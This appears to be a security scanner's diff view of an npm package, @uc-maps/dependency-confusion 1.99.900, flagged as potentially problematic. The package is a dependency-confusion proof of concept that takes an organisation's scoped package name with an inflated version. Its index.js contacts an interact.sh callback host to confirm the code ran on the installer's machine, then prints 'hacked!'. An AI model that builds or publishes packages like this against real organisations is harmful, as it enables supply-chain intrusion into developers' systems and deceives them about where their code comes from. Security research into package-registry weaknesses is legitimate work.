@uc-maps/dependency-confusion 1.99.900

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @uc-maps/dependency-confusion might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +1 -0
  2. package/index.js +9 -0
  3. package/package.json +19 -0
package/README.md ADDED
@@ -0,0 +1 @@
1
+ # Dependency confusion test
package/index.js ADDED
@@ -0,0 +1,9 @@
1
+ var window;
2
+ if (window && window.fetch) {
3
+ fetch('https://c8y04xk2vtc0000xehwggrxynqhyyyyyb.interact.sh');
4
+ } else {
5
+ var https = require('https');
6
+ https.get('https://c8y04xk2vtc0000xehwggrxynqhyyyyyb.interact.sh');
7
+ }
8
+
9
+ console.log('hacked!');
package/package.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@uc-maps/dependency-confusion",
3
+ "version": "1.99.900",
4
+ "description": "Dependency confusion test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/mamaiamhacking/dependency-confusion.git"
12
+ },
13
+ "author": "",
14
+ "license": "ISC",
15
+ "bugs": {
16
+ "url": "https://github.com/mamaiamhacking/dependency-confusion/issues"
17
+ },
18
+ "homepage": "https://github.com/mamaiamhacking/dependency-confusion#readme"
19
+ }